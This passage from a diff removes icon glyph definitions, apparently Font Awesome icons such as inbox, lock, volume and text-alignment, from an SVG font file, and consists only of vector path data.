-t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="inbox" unicode="&#xf01c;" 
-d="M1023 576h316q-1 3 -2.5 8.5t-2.5 7.5l-212 496h-708l-212 -496q-1 -3 -2.5 -8.5t-2.5 -7.5h316l95 -192h320zM1536 546v-482q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v482q0 62 25 123l238 552q10 25 36.5 42t52.5 17h832q26 0 52.5 -17t36.5 -42l238 -552
-q25 -61 25 -123z" />
-    <glyph glyph-name="play_circle" unicode="&#xf01d;" 
-d="M1184 640q0 -37 -32 -55l-544 -320q-15 -9 -32 -9q-16 0 -32 8q-32 19 -32 56v640q0 37 32 56q33 18 64 -1l544 -320q32 -18 32 -55zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
-q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="repeat" unicode="&#xf01e;" 
-d="M1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l138 138q-148 137 -349 137q-104 0 -198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5q119 0 225 52t179 147q7 10 23 12q15 0 25 -9
-l137 -138q9 -8 9.5 -20.5t-7.5 -22.5q-109 -132 -264 -204.5t-327 -72.5q-156 0 -298 61t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q147 0 284.5 -55.5t244.5 -156.5l130 129q29 31 70 14q39 -17 39 -59z" />
-    <glyph glyph-name="refresh" unicode="&#xf021;" 
-d="M1511 480q0 -5 -1 -7q-64 -268 -268 -434.5t-478 -166.5q-146 0 -282.5 55t-243.5 157l-129 -129q-19 -19 -45 -19t-45 19t-19 45v448q0 26 19 45t45 19h448q26 0 45 -19t19 -45t-19 -45l-137 -137q71 -66 161 -102t187 -36q134 0 250 65t186 179q11 17 53 117
-q8 23 30 23h192q13 0 22.5 -9.5t9.5 -22.5zM1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-26 0 -45 19t-19 45t19 45l138 138q-148 137 -349 137q-134 0 -250 -65t-186 -179q-11 -17 -53 -117q-8 -23 -30 -23h-199q-13 0 -22.5 9.5t-9.5 22.5v7q65 268 270 434.5t480 166.5
-q146 0 284 -55.5t245 -156.5l130 129q19 19 45 19t45 -19t19 -45z" />
-    <glyph glyph-name="list_alt" unicode="&#xf022;" horiz-adv-x="1792" 
-d="M384 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
-M384 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1536 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5z
-M1536 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5zM1536 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5
-t9.5 -22.5zM1664 160v832q0 13 -9.5 22.5t-22.5 9.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 1248v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47
-t47 -113z" />
-    <glyph glyph-name="lock" unicode="&#xf023;" horiz-adv-x="1152" 
-d="M320 768h512v192q0 106 -75 181t-181 75t-181 -75t-75 -181v-192zM1152 672v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v192q0 184 132 316t316 132t316 -132t132 -316v-192h32q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="flag" unicode="&#xf024;" horiz-adv-x="1792" 
-d="M320 1280q0 -72 -64 -110v-1266q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v1266q-64 38 -64 110q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -25 -12.5 -38.5t-39.5 -27.5q-215 -116 -369 -116q-61 0 -123.5 22t-108.5 48
-t-115.5 48t-142.5 22q-192 0 -464 -146q-17 -9 -33 -9q-26 0 -45 19t-19 45v742q0 32 31 55q21 14 79 43q236 120 421 120q107 0 200 -29t219 -88q38 -19 88 -19q54 0 117.5 21t110 47t88 47t54.5 21q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="headphones" unicode="&#xf025;" horiz-adv-x="1664" 
-d="M1664 650q0 -166 -60 -314l-20 -49l-185 -33q-22 -83 -90.5 -136.5t-156.5 -53.5v-32q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-32q71 0 130 -35.5t93 -95.5l68 12q29 95 29 193q0 148 -88 279t-236.5 209t-315.5 78
-t-315.5 -78t-236.5 -209t-88 -279q0 -98 29 -193l68 -12q34 60 93 95.5t130 35.5v32q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v32q-88 0 -156.5 53.5t-90.5 136.5l-185 33l-20 49q-60 148 -60 314q0 151 67 291t179 242.5
-t266 163.5t320 61t320 -61t266 -163.5t179 -242.5t67 -291z" />
-    <glyph glyph-name="volume_off" unicode="&#xf026;" horiz-adv-x="768" 
-d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45z" />
-    <glyph glyph-name="volume_down" unicode="&#xf027;" horiz-adv-x="1152" 
-d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
-t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142z" />
-    <glyph glyph-name="volume_up" unicode="&#xf028;" horiz-adv-x="1664" 
-d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
-t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142zM1408 640q0 -153 -85 -282.5t-225 -188.5q-13 -5 -25 -5q-27 0 -46 19t-19 45q0 39 39 59q56 29 76 44q74 54 115.5 135.5t41.5 173.5t-41.5 173.5
-t-115.5 135.5q-20 15 -76 44q-39 20 -39 59q0 26 19 45t45 19q13 0 26 -5q140 -59 225 -188.5t85 -282.5zM1664 640q0 -230 -127 -422.5t-338 -283.5q-13 -5 -26 -5q-26 0 -45 19t-19 45q0 36 39 59q7 4 22.5 10.5t22.5 10.5q46 25 82 51q123 91 192 227t69 289t-69 289
-t-192 227q-36 26 -82 51q-7 4 -22.5 10.5t-22.5 10.5q-39 23 -39 59q0 26 19 45t45 19q13 0 26 -5q211 -91 338 -283.5t127 -422.5z" />
-    <glyph glyph-name="qrcode" unicode="&#xf029;" horiz-adv-x="1408" 
-d="M384 384v-128h-128v128h128zM384 1152v-128h-128v128h128zM1152 1152v-128h-128v128h128zM128 129h384v383h-384v-383zM128 896h384v384h-384v-384zM896 896h384v384h-384v-384zM640 640v-640h-640v640h640zM1152 128v-128h-128v128h128zM1408 128v-128h-128v128h128z
-M1408 640v-384h-384v128h-128v-384h-128v640h384v-128h128v128h128zM640 1408v-640h-640v640h640zM1408 1408v-640h-640v640h640z" />
-    <glyph glyph-name="barcode" unicode="&#xf02a;" horiz-adv-x="1792" 
-d="M63 0h-63v1408h63v-1408zM126 1h-32v1407h32v-1407zM220 1h-31v1407h31v-1407zM377 1h-31v1407h31v-1407zM534 1h-62v1407h62v-1407zM660 1h-31v1407h31v-1407zM723 1h-31v1407h31v-1407zM786 1h-31v1407h31v-1407zM943 1h-63v1407h63v-1407zM1100 1h-63v1407h63v-1407z
-M1226 1h-63v1407h63v-1407zM1352 1h-63v1407h63v-1407zM1446 1h-63v1407h63v-1407zM1635 1h-94v1407h94v-1407zM1698 1h-32v1407h32v-1407zM1792 0h-63v1408h63v-1408z" />
-    <glyph glyph-name="tag" unicode="&#xf02b;" 
-d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
-l715 -714q37 -39 37 -91z" />
-    <glyph glyph-name="tags" unicode="&#xf02c;" horiz-adv-x="1920" 
-d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
-l715 -714q37 -39 37 -91zM1899 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-36 0 -59 14t-53 45l470 470q37 37 37 90q0 52 -37 91l-715 714q-38 38 -102 64.5t-117 26.5h224q53 0 117 -26.5t102 -64.5l715 -714q37 -39 37 -91z" />
-    <glyph glyph-name="book" unicode="&#xf02d;" horiz-adv-x="1664" 
-d="M1639 1058q40 -57 18 -129l-275 -906q-19 -64 -76.5 -107.5t-122.5 -43.5h-923q-77 0 -148.5 53.5t-99.5 131.5q-24 67 -2 127q0 4 3 27t4 37q1 8 -3 21.5t-3 19.5q2 11 8 21t16.5 23.5t16.5 23.5q23 38 45 91.5t30 91.5q3 10 0.5 30t-0.5 28q3 11 17 28t17 23
-q21 36 42 92t25 90q1 9 -2.5 32t0.5 28q4 13 22 30.5t22 22.5q19 26 42.5 84.5t27.5 96.5q1 8 -3 25.5t-2 26.5q2 8 9 18t18 23t17 21q8 12 16.5 30.5t15 35t16 36t19.5 32t26.5 23.5t36 11.5t47.5 -5.5l-1 -3q38 9 51 9h761q74 0 114 -56t18 -130l-274 -906
-q-36 -119 -71.5 -153.5t-128.5 -34.5h-869q-27 0 -38 -15q-11 -16 -1 -43q24 -70 144 -70h923q29 0 56 15.5t35 41.5l300 987q7 22 5 57q38 -15 59 -43zM575 1056q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5
-t-16.5 -22.5zM492 800q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5t-16.5 -22.5z" />
-    <glyph glyph-name="bookmark" unicode="&#xf02e;" horiz-adv-x="1280" 
-d="M1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
-    <glyph glyph-name="print" unicode="&#xf02f;" horiz-adv-x="1664" 
-d="M384 0h896v256h-896v-256zM384 640h896v384h-160q-40 0 -68 28t-28 68v160h-640v-640zM1536 576q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 576v-416q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-160q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68
-v160h-224q-13 0 -22.5 9.5t-9.5 22.5v416q0 79 56.5 135.5t135.5 56.5h64v544q0 40 28 68t68 28h672q40 0 88 -20t76 -48l152 -152q28 -28 48 -76t20 -88v-256h64q79 0 135.5 -56.5t56.5 -135.5z" />
-    <glyph glyph-name="camera" unicode="&#xf030;" horiz-adv-x="1920" 
-d="M960 864q119 0 203.5 -84.5t84.5 -203.5t-84.5 -203.5t-203.5 -84.5t-203.5 84.5t-84.5 203.5t84.5 203.5t203.5 84.5zM1664 1280q106 0 181 -75t75 -181v-896q0 -106 -75 -181t-181 -75h-1408q-106 0 -181 75t-75 181v896q0 106 75 181t181 75h224l51 136
-q19 49 69.5 84.5t103.5 35.5h512q53 0 103.5 -35.5t69.5 -84.5l51 -136h224zM960 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
-    <glyph glyph-name="font" unicode="&#xf031;" horiz-adv-x="1664" 
-d="M725 977l-170 -450q33 0 136.5 -2t160.5 -2q19 0 57 2q-87 253 -184 452zM0 -128l2 79q23 7 56 12.5t57 10.5t49.5 14.5t44.5 29t31 50.5l237 616l280 724h75h53q8 -14 11 -21l205 -480q33 -78 106 -257.5t114 -274.5q15 -34 58 -144.5t72 -168.5q20 -45 35 -57
-q19 -15 88 -29.5t84 -20.5q6 -38 6 -57q0 -5 -0.5 -13.5t-0.5 -12.5q-63 0 -190 8t-191 8q-76 0 -215 -7t-178 -8q0 43 4 78l131 28q1 0 12.5 2.5t15.5 3.5t14.5 4.5t15 6.5t11 8t9 11t2.5 14q0 16 -31 96.5t-72 177.5t-42 100l-450 2q-26 -58 -76.5 -195.5t-50.5 -162.5
-q0 -22 14 -37.5t43.5 -24.5t48.5 -13.5t57 -8.5t41 -4q1 -19 1 -58q0 -9 -2 -27q-58 0 -174.5 10t-174.5 10q-8 0 -26.5 -4t-21.5 -4q-80 -14 -188 -14z" />
-    <glyph glyph-name="bold" unicode="&#xf032;" horiz-adv-x="1408" 
-d="M555 15q74 -32 140 -32q376 0 376 335q0 114 -41 180q-27 44 -61.5 74t-67.5 46.5t-80.5 25t-84 10.5t-94.5 2q-73 0 -101 -10q0 -53 -0.5 -159t-0.5 -158q0 -8 -1 -67.5t-0.5 -96.5t4.5 -83.5t12 -66.5zM541 761q42 -7 109 -7q82 0 143 13t110 44.5t74.5 89.5t25.5 142
-q0 70 -29 122.5t-79 82t-108 43.5t-124 14q-50 0 -130 -13q0 -50 4 -151t4 -152q0 -27 -0.5 -80t-0.5 -79q0 -46 1 -69zM0 -128l2 94q15 4 85 16t106 27q7 12 12.5 27t8.5 33.5t5.5 32.5t3 37.5t0.5 34v35.5v30q0 982 -22 1025q-4 8 -22 14.5t-44.5 11t-49.5 7t-48.5 4.5
-t-30.5 3l-4 83q98 2 340 11.5t373 9.5q23 0 68 -0.5t68 -0.5q70 0 136.5 -13t128.5 -42t108 -71t74 -104.5t28 -137.5q0 -52 -16.5 -95.5t-39 -72t-64.5 -57.5t-73 -45t-84 -40q154 -35 256.5 -134t102.5 -248q0 -100 -35 -179.5t-93.5 -130.5t-138 -85.5t-163.5 -48.5
-t-176 -14q-44 0 -132 3t-132 3q-106 0 -307 -11t-231 -12z" />
-    <glyph glyph-name="italic" unicode="&#xf033;" horiz-adv-x="1024" 
-d="M0 -126l17 85q22 7 61.5 16.5t72 19t59.5 23.5q28 35 41 101q1 7 62 289t114 543.5t52 296.5v25q-24 13 -54.5 18.5t-69.5 8t-58 5.5l19 103q33 -2 120 -6.5t149.5 -7t120.5 -2.5q48 0 98.5 2.5t121 7t98.5 6.5q-5 -39 -19 -89q-30 -10 -101.5 -28.5t-108.5 -33.5
-q-8 -19 -14 -42.5t-9 -40t-7.5 -45.5t-6.5 -42q-27 -148 -87.5 -419.5t-77.5 -355.5q-2 -9 -13 -58t-20 -90t-16 -83.5t-6 -57.5l1 -18q17 -4 185 -31q-3 -44 -16 -99q-11 0 -32.5 -1.5t-32.5 -1.5q-29 0 -87 10t-86 10q-138 2 -206 2q-51 0 -143 -9t-121 -11z" />
-    <glyph glyph-name="text_height" unicode="&#xf034;" horiz-adv-x="1792" 
-d="M1744 128q33 0 42 -18.5t-11 -44.5l-126 -162q-20 -26 -49 -26t-49 26l-126 162q-20 26 -11 44.5t42 18.5h80v1024h-80q-33 0 -42 18.5t11 44.5l126 162q20 26 49 26t49 -26l126 -162q20 -26 11 -44.5t-42 -18.5h-80v-1024h80zM81 1407l54 -27q12 -5 211 -5q44 0 132 2
-t132 2q36 0 107.5 -0.5t107.5 -0.5h293q6 0 21 -0.5t20.5 0t16 3t17.5 9t15 17.5l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 48t-14.5 73.5t-7.5 35.5q-6 8 -12 12.5t-15.5 6t-13 2.5t-18 0.5t-16.5 -0.5
-q-17 0 -66.5 0.5t-74.5 0.5t-64 -2t-71 -6q-9 -81 -8 -136q0 -94 2 -388t2 -455q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
-q19 42 19 383q0 101 -3 303t-3 303v117q0 2 0.5 15.5t0.5 25t-1 25.5t-3 24t-5 14q-11 12 -162 12q-33 0 -93 -12t-80 -26q-19 -13 -34 -72.5t-31.5 -111t-42.5 -53.5q-42 26 -56 44v383z" />
-    <glyph glyph-name="text_width" unicode="&#xf035;" 
-d="M81 1407l54 -27q12 -5 211 -5q44 0 132 2t132 2q70 0 246.5 1t304.5 0.5t247 -4.5q33 -1 56 31l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 47.5t-15 73.5t-7 36q-10 13 -27 19q-5 2 -66 2q-30 0 -93 1t-103 1
-t-94 -2t-96 -7q-9 -81 -8 -136l1 -152v52q0 -55 1 -154t1.5 -180t0.5 -153q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
-q7 16 11.5 74t6 145.5t1.5 155t-0.5 153.5t-0.5 89q0 7 -2.5 21.5t-2.5 22.5q0 7 0.5 44t1 73t0 76.5t-3 67.5t-6.5 32q-11 12 -162 12q-41 0 -163 -13.5t-138 -24.5q-19 -12 -34 -71.5t-31.5 -111.5t-42.5 -54q-42 26 -56 44v383zM1310 125q12 0 42 -19.5t57.5 -41.5
-t59.5 -49t36 -30q26 -21 26 -49t-26 -49q-4 -3 -36 -30t-59.5 -49t-57.5 -41.5t-42 -19.5q-13 0 -20.5 10.5t-10 28.5t-2.5 33.5t1.5 33t1.5 19.5h-1024q0 -2 1.5 -19.5t1.5 -33t-2.5 -33.5t-10 -28.5t-20.5 -10.5q-12 0 -42 19.5t-57.5 41.5t-59.5 49t-36 30q-26 21 -26 49
-t26 49q4 3 36 30t59.5 49t57.5 41.5t42 19.5q13 0 20.5 -10.5t10 -28.5t2.5 -33.5t-1.5 -33t-1.5 -19.5h1024q0 2 -1.5 19.5t-1.5 33t2.5 33.5t10 28.5t20.5 10.5z" />
-    <glyph glyph-name="align_left" unicode="&#xf036;" horiz-adv-x="1792" 
-d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45
-t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="align_center" unicode="&#xf037;" horiz-adv-x="1792" 
-d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h896q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45t-45 -19
-h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h640q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="align_right" unicode="&#xf038;" horiz-adv-x="1792" 
-d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
-t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="align_justify" unicode="&#xf039;" horiz-adv-x="1792" 
-d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
-t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="list" unicode="&#xf03a;" horiz-adv-x="1792" 
-d="M256 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM256 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5
-t9.5 -22.5zM256 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344
-q13 0 22.5 -9.5t9.5 -22.5zM256 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
-t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192
-q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5z" />
-    <glyph glyph-name="indent_left" unicode="&#xf03b;" horiz-adv-x="1792" 
-d="M384 992v-576q0 -13 -9.5 -22.5t-22.5 -9.5q-14 0 -23 9l-288 288q-9 9 -9 23t9 23l288 288q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
-t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
-q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
-    <glyph glyph-name="indent_right" unicode="&#xf03c;" horiz-adv-x="1792" 
-d="M352 704q0 -14 -9 -23l-288 -288q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v576q0 13 9.5 22.5t22.5 9.5q14 0 23 -9l288 -288q9 -9 9 -23zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
-t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
-q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
-    <glyph glyph-name="facetime_video" unicode="&#xf03d;" horiz-adv-x="1792" 
-d="M1792 1184v-1088q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-403 403v-166q0 -119 -84.5 -203.5t-203.5 -84.5h-704q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h704q119 0 203.5 -84.5t84.5 -203.5v-165l403 402q18 19 45 19q12 0 25 -5
-q39 -17 39 -59z" />
-    <glyph glyph-name="picture" unicode="&#xf03e;" horiz-adv-x="1920" 
-d="M640 960q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 576v-448h-1408v192l320 320l160 -160l512 512zM1760 1280h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5v1216
-q0 13 -9.5 22.5t-22.5 9.5zM1920 1248v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
-    <glyph glyph-name="pencil" unicode="&#xf040;" 
-d="M363 0l91 91l-235 235l-91 -91v-107h128v-128h107zM886 928q0 22 -22 22q-10 0 -17 -7l-542 -542q-7 -7 -7 -17q0 -22 22 -22q10 0 17 7l542 542q7 7 7 17zM832 1120l416 -416l-832 -832h-416v416zM1515 1024q0 -53 -37 -90l-166 -166l-416 416l166 165q36 38 90 38
-q53 0 91 -38l235 -234q37 -39 37 -91z" />
-    <glyph glyph-name="map_marker" unicode="&#xf041;" horiz-adv-x="1024" 
